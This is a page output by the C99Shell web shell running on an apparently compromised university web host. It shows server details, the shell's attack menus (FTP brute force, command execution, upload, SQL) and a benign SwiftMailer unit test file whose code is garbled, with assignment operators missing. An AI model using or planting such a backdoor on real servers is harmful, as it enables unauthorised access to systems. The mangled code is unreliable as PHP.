!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Plugins/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PopBeforeSmtpPluginTest.php (3.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class Swift_Plugins_PopBeforeSmtpPluginTest extends \PHPUnit_Framework_TestCase
{
    public function 
testPluginConnectsToPop3HostBeforeTransportStarts()
    {
        
$connection $this->_createConnection();
        
$connection->expects($this->once())
                   ->
method('connect');

        
$plugin $this->_createPlugin('pop.host.tld'110);
        
$plugin->setConnection($connection);

        
$transport $this->_createTransport();
        
$evt $this->_createTransportChangeEvent($transport);

        
$plugin->beforeTransportStarted($evt);
    }

    public function 
testPluginDisconnectsFromPop3HostBeforeTransportStarts()
    {
        
$connection $this->_createConnection();
        
$connection->expects($this->once())
                   ->
method('disconnect');

        
$plugin $this->_createPlugin('pop.host.tld'110);
        
$plugin->setConnection($connection);

        
$transport $this->_createTransport();
        
$evt $this->_createTransportChangeEvent($transport);

        
$plugin->beforeTransportStarted($evt);
    }

    public function 
testPluginDoesNotConnectToSmtpIfBoundToDifferentTransport()
    {
        
$connection $this->_createConnection();
        
$connection->expects($this->never())
                   ->
method('disconnect');
        
$connection->expects($this->never())
                   ->
method('connect');

        
$smtp $this->_createTransport();

        
$plugin $this->_createPlugin('pop.host.tld'110);
        
$plugin->setConnection($connection);
        
$plugin->bindSmtp($smtp);

        
$transport $this->_createTransport();
        
$evt $this->_createTransportChangeEvent($transport);

        
$plugin->beforeTransportStarted($evt);
    }

    public function 
testPluginCanBindToSpecificTransport()
    {
        
$connection $this->_createConnection();
        
$connection->expects($this->once())
                   ->
method('connect');

        
$smtp $this->_createTransport();

        
$plugin $this->_createPlugin('pop.host.tld'110);
        
$plugin->setConnection($connection);
        
$plugin->bindSmtp($smtp);

        
$evt $this->_createTransportChangeEvent($smtp);

        
$plugin->beforeTransportStarted($evt);
    }

    
// -- Creation Methods

    
private function _createTransport()
    {
        return 
$this->getMock('Swift_Transport');
    }

    private function 
_createTransportChangeEvent($transport)
    {
        
$evt $this->getMockBuilder('Swift_Events_TransportChangeEvent')
                    ->
disableOriginalConstructor()
                    ->
getMock();
        
$evt->expects($this->any())
            ->
method('getSource')
            ->
will($this->returnValue($transport));
        
$evt->expects($this->any())
            ->
method('getTransport')
            ->
will($this->returnValue($transport));

        return 
$evt;
    }

    public function 
_createConnection()
    {
        return 
$this->getMock('Swift_Plugins_Pop_Pop3Connection');
    }

    public function 
_createPlugin($host$port$crypto null)
    {
        return new 
Swift_Plugins_PopBeforeSmtpPlugin($host$port$crypto);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0101 ]--